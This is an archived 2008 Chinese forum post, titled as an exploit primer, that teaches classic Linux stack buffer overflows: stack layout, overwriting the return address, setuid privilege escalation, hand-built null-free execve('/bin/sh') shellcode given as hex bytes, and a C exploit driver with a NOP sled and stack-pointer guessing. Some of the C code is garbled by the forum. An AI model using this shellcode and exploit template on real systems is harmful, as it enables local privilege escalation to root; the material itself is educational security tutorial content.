免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
最近访问板块 发新帖
查看: 3727 | 回复: 0
打印 上一主题 下一主题

Exploit入门 [复制链接]

论坛徽章:
0
跳转到指定楼层
1 [收藏(0)] [报告]
发表于 2008-03-14 11:55 |只看该作者 |倒序浏览
一:基础知识 \r\n计算机内存运行分配的区域分为3个 \r\n程序段区域:不允许写的 \r\n数据段区域:静态全局变量是位于数据段并且在程序开始运行的时候被加载 \r\n堆栈区域:放置程序的动态的用于计算的局部和临时变量则分配在堆栈里面和在过程调用中压入的返回地 \r\n址数据。堆栈是一个先入后出的队列。一般计算机系统堆栈的方向与内存的方向相反。压栈的xx作push= ESP-4,出栈的xx作是pop=ESP+4. 在一次函数调用中,堆栈中将被依次压入:参数,返回地址,EBP。如果函数有局部变量,接下来,就在 堆栈中开辟相应的空间以构造变量。函数执行结束,这些局部变量的内容将被丢失。但是不被清除。在函 数返回的时候,弹出EBP,恢复堆栈到函数调用的地址,弹出返回地址到EIP以继续执行程序。 \r\n在C语言程序中,参数的压栈顺序是反向的。比如func(a,b,c)。在参数入栈的时候,是:先压c,再压 b,最后a.在取参数的时候, \r\n指令执行的图例: \r\n指令区域 \r\n执行程序区 \r\n0 1 2 3 \r\n0 \r\n4 \r\n8 调用100处的函数,参数1(3位),2(10位) \r\nC \r\n10 0 1 2 3 \r\n100 执行处理 \r\n104 \r\n108 \r\n10C \r\n110 返回调用 堆栈区域 \r\n0 1 2 3 \r\n如果EBP分配的空间不够xx作就是产生溢出的地方 \r\n200 保存以前的EBP4位(数据段的指针,用于可以使用局部动态 \r\n变量)现在的EBP等于当前的ESP-动态数据的大小值 , \r\nESP=200 \r\n204 0C 00 00 00 \r\n此处是程序的返回地址 \r\n208 参数1,填充1位 \r\n20C 参数2填充2位 \r\n210 \r\n讲解例子WIN下的程序DEMO,演示参数导致的返回地址的变化 \r\n讲清主要4位的填充问题 \r\n另外溢出还会导致数据段的改变 3:如何利用堆栈溢出 \r\n原理可以概括为:由于字符串处理函数(gets,strcpy等等)没有对数组越界加以监视和限制,我们利用 字符数组写越界,覆盖堆栈中的老元素的值,就可以修改返回地址。 在DEMO的例子中,这导致CPU去访问 一个不存在的指令,结果出错。事实上,我们已经完全的控制了这个程序下一步的动作。如果我们用一个 实际存在指令地址来覆盖这个返回地址,CPU就会转而执行我们的指令。 那么有什么用呢,就算使得我们的程序可以跳转执行一些代码,如何用他来突破系统限制来获得权限呢? 二:系统权限知识 \r\nUNIX系统在运行的时候的权限检查主要是根据UID,GID,SID 三个标来检查的,主要根据SID来检查权限 \r\nSU系统调用就是SID变成SU的对象 \r\nS粘贴位使得运行程序的人具有该程序拥有者一样的权限 \r\n中断ROOT的S粘贴位的程序就可以获得超级用户的权限,SID位置没被调用返回修改回来。 \r\nVI的S粘贴位可以中断的例子 在UINX系统中,我们的指令可以执行一个shell,这个shell将获得和被我们堆栈溢出的程序相同的权限。 如果这个程序是setuid的,那么我们就可以获得root shell。 三:溢出突破权限的实现 \r\n首先要编写SHELLCODE的2进制代码作为溢出的参数进行传入: \r\nshellcode的C程序 注意:execve函数将执行一个程序。他需要程序的名字地址作为第一个参数。一个内容为该程序的 argv(argv[n-1]=0)的指针数组作为第二个参数,以及(char*) 0作为第三个参数。 \r\n我们来看以看execve的汇编代码: \r\n0x804ce7c <__execve>: push %ebp ‘保存以前的数据段地址 \r\n0x804ce7d <__execve+1>: mov %esp,%ebp ‘使得当前数据段指向堆栈 \r\n0x804ce7f <__execve+3>: push %edi \r\n0x804ce80 <__execve+4>: push %ebx ‘保存 \r\n0x804ce81 <__execve+5>: mov 0x8(%ebp),%edi ‘ebp+8是第一个参数\"/bin/sh\\0\" \r\n0x804ce84 <__execve+8>: mov $0x0,%eax ‘清0 \r\n0x804ce89 <__execve+13>: test %eax,%eax \r\n0x804ce8b <__execve+15>: je 0x804ce92 <__execve+22> \r\n0x804ce8d <__execve+17>: call 0x0 \r\n0x804ce92 <__execve+22>: mov 0xc(%ebp),%ecx ‘设置NAME[0]参数,4字节对齐 \r\n0x804ce95 <__execve+25>: mov 0x10(%ebp),%edx,设置NAME[1]参数,4字节对齐 \r\n0x804ce98 <__execve+28>: push %ebx \r\n0x804ce99 <__execve+29>: mov %edi,%ebx \r\n0x804ce9b <__execve+31>: mov $0xb,%eax ‘设置XB号调用 \r\n0x804cea0 <__execve+36>: int $0x80 ‘调用执行 \r\n0x804cea2 <__execve+38>: pop %ebx \r\n0x804cea3 <__execve+39>: mov %eax,%ebx \r\n0x804cea5 <__execve+41>: cmp $0xfffff000,%ebx \r\n0x804ceab <__execve+47>: jbe 0x804cebb <__execve+63> \r\n0x804cead <__execve+49>: call 0x8048324 <__errno_location> \r\n0x804ceb2 <__execve+54>: neg %ebx \r\n0x804ceb4 <__execve+56>: mov %ebx,(%eax) \r\n0x804ceb6 <__execve+58>: mov $0xffffffff,%ebx \r\n0x804cebb <__execve+63>: mov %ebx,%eax \r\n0x804cebd <__execve+65>: lea 0xfffffff8(%ebp),%esp \r\n0x804cec0 <__execve+68>: pop %ebx \r\n0x804cec1 <__execve+69>: pop %edi \r\n0x804cec2 <__execve+70>: leave \r\n0x804cec3 <__execve+71>: ret 精练的调用方法是 \r\n0x804ce92 <__execve+22>: mov 0xc(%ebp),%ecx ‘设置NAME[0]参数,4字节对齐 \r\n0x804ce95 <__execve+25>: mov 0x10(%ebp),%edx,设置NAME[1]参数,4字节对齐 \r\n0x804ce9b <__execve+31>: mov $0xb,%eax ‘设置XB号调用 \r\n0x804cea0 <__execve+36>: int $0x80 ‘调用执行 另外要执行一个exit()系统调用,结束shellcode的执行。 \r\n0x804ce60 <_exit>: mov %ebx,%edx \r\n0x804ce62 <_exit+2>: mov 0x4(%esp,1),%ebx 设置参数0 \r\n0x804ce66 <_exit+6>: mov $0x1,%eax ‘1号调用 \r\n0x804ce6b <_exit+11>: int $0x80 \r\n0x804ce6d <_exit+13>: mov %edx,%ebx \r\n0x804ce6f <_exit+15>: cmp $0xfffff001,%eax \r\n0x804ce74 <_exit+20>: jae 0x804d260 <__syscall_error> 那么总结一下,合成的汇编代码为: \r\nmov 0xc(%ebp),%ecx \r\nmov 0x10(%ebp),%edx \r\nmov $0xb,%eax \r\nint $0x80 \r\nmov 0x4(%esp,1),%ebx \r\nmov $0x1,%eax \r\nint $0x80 但问题在于我们必须把这个程序作为字符串的参数传给溢出的程序进行调用,如何来分配和定位字符串“ /bin/sh”,还得有一个name数组。我们可以构造它们出来,可是,在shellcode中如何知道它们的地址呢 ?每一次程序都是动态加载,字符串和name数组的地址都不是固定的。\r\n\r\n利用call压入下一条语句的返回地址,把数据作为下一条指令我们就可以达到目的。 \r\nJmp CALL \r\nPopl %esi ‘利用CALL弹出压入的下一条语句的地址,其实就是我们构造的字符串的地址 \r\nmovb $0x0,0x7(%esi) ‘输入0的字符串为结尾 \r\nmov %esi,0X8 (%esi) ‘构造NAME数组,放如字串的地址作为NAME[0] \r\nmov $0x0,0xc(%esi) ‘构造NAME[1]为NULL, NAME[0]为4位地址,所以偏移为0xc \r\nmov %esi,%ebx ‘设置数据段开始的地址 \r\nleal 0x8(%esi),%ecx ‘设置参数1 \r\nleal 0xc(%esi),%edx ‘设置参数2 \r\nmov $0xb,%eax ‘设置调用号 \r\nint $0x80 ‘调用 \r\nmov $0x0,%ebx \r\nmov $0x1,%eax \r\nint $0x80 \r\nCall popl \r\n.string \\\"/bin/sh\\\" 然后通过C编译器编写MYSHELLASM.C \r\n运行出错,原因代码段不允许进行修改,但是对于我们溢出是可以的,原因在于溢出是在数据段运行的, 通过GDB查看16进制码,倒出ASCII字符写出TEST.C程序来验证MYSHELLASM可以运行 \r\nret = (int *)&ret + 2; //ret 等于main()执行完后的返回系统的地址 \r\n//(+2是因为:有pushl ebp ,否则加1就可以了。) 但是在堆栈溢出中,关键在于字符串数组的写越界。但是,gets,strcpy等字符串函数在处理字符串的时 候,以\"\\0\" 为字符串结尾。遇\\0就结束了写xx作。Myshell中有0X00的字符存在。 \r\n把所有赋予0的xx作用异或或者MOV已知为0的寄存器赋值来完成 \r\njmp 0x1f \r\npopl %esi \r\nmovl %esi,0x8(%esi) \r\nxorl %eax,%eax \r\nmovb %eax,0x7(%esi) \r\nmovl %eax,0xc(%esi) \r\nmovb $0xb,%al \r\nmovl %esi,%ebx \r\nleal 0x8(%esi),%ecx \r\nleal 0xc(%esi),%edx \r\nint $0x80 \r\nxorl %ebx,%ebx \r\nmovl %ebx,%eax \r\ninc %eax \r\nint $0x80 \r\ncall -0x24 \r\n.string \\\"/bin/sh\\\" 汇编得出的 \r\nshellcode = \r\n\"\\x55\\x89\\xe5\\xeb\\x1f\\x5e\\x89\\x76\\x08\\x31\\xc0\\x88\\x46\\x07\\x89\\x46\" \r\n\"\\x0c\\xb0\\x0b\\x89\\xf3\\x8d\\x4e\\x08\\x8d\\x56\\x0c\\xcd\\x80\\x31\\xdb\\x89\" \r\n\"\\xd8\\x40\\xcd\\x80\\xe8\\xdc\\xff\\xff\\xff/bin/sh\"; \r\n\r\n我们开始来写一个攻击DEMO溢出的例子 \r\n1:把我们的shellcode提供给他,让他可以访问shellcode。 \r\n2:修改他的返回地址为shellcode的入口地址。 对于strcpy函数,我们要知道被溢出的缓冲的的地址。对于xx作系统来说,一个shell下的每一个程序的 堆栈段开始地址都是 相同的 。我们需要内部写一个调用来获得运行时的堆栈起始地址,来知道了目标程 序堆栈的开始地址。 \r\n(所有C函数的返回值都放在eax 寄存器 里面): \r\nunsigned long get_sp(void) { \r\n__asm__(\"movl %esp,%eax\"); \r\n} \r\nbuffer相对于堆栈开始地址的偏移,对于DEMO我们可以计算出来,但对于真正有溢出毛病的程序我们在没 有源代码和去跟踪汇编是无法计算出的,只能靠猜测了。不过,一般的程序堆栈大约是 几K 左右。为了 提高命中率,增加溢出的SHELLCODE的长度和NOP指令,NOP指令的机器码为0x90。 同时在我们的程序中允 许输入参数来调节溢出点。 \r\n#include \r\n#include \r\n#define OFFSET 0 \r\n#define RET_POSITION 120 \r\n#define RANGE 20 \r\n#define NOP 0x90 char shellcode[]= \r\n\"\\x55\\x89\\xe5\\xeb\\x1f\\x5e\\x89\\x76\\x08\\x31\\xc0\\x88\\x46\\x07\\x89\\x46\" \r\n\"\\x0c\\xb0\\x0b\\x89\\xf3\\x8d\\x4e\\x08\\x8d\\x56\\x0c\\xcd\\x80\\x31\\xdb\\x89\" \r\n\"\\xd8\\x40\\xcd\\x80\\xe8\\xdc\\xff\\xff\\xff/bin/sh\"; unsigned long get_sp(void) \r\n{ \r\n__asm__(\"movl %esp,%eax\"); \r\n} main(int argc,char **argv) \r\n{ \r\nchar buff[RET_POSITION+RANGE+1],*ptr; \r\nlong addr; \r\nunsigned long sp; \r\nint offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1; \r\nint i; if(argc>1) \r\noffset=atoi(argv[1]); sp=get_sp(); \r\naddr=sp-offset; for(i=0;i *((long *)&(buff))=addr; for(i=0;i buff=NOP; ptr=buff+bsize-RANGE*2-strlen(shellcode)-1; \r\nfor(i=0;i *(ptr++)=shellcode; \r\nbuff[bsize-1]=\"\\0\" \r\nfor(i=0;i<132;i++) \r\nprintf(\"0x%08x\\n\",buff); \r\nprintf(\"Jump to 0x%08x\\n\",addr); execl(\"./demo\",\"demo\",buff,0); \r\n} \r\n注意,如果发现溢出允许的空间不足够SHELLCODE的代码,那么可以把地址放到前面去,SHELLCODE放在地 址的后面,程序进行一些改动,原理一致\n\n[ 本帖最后由 cnsst 于 2008-3-14 14:37 编辑 ]
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP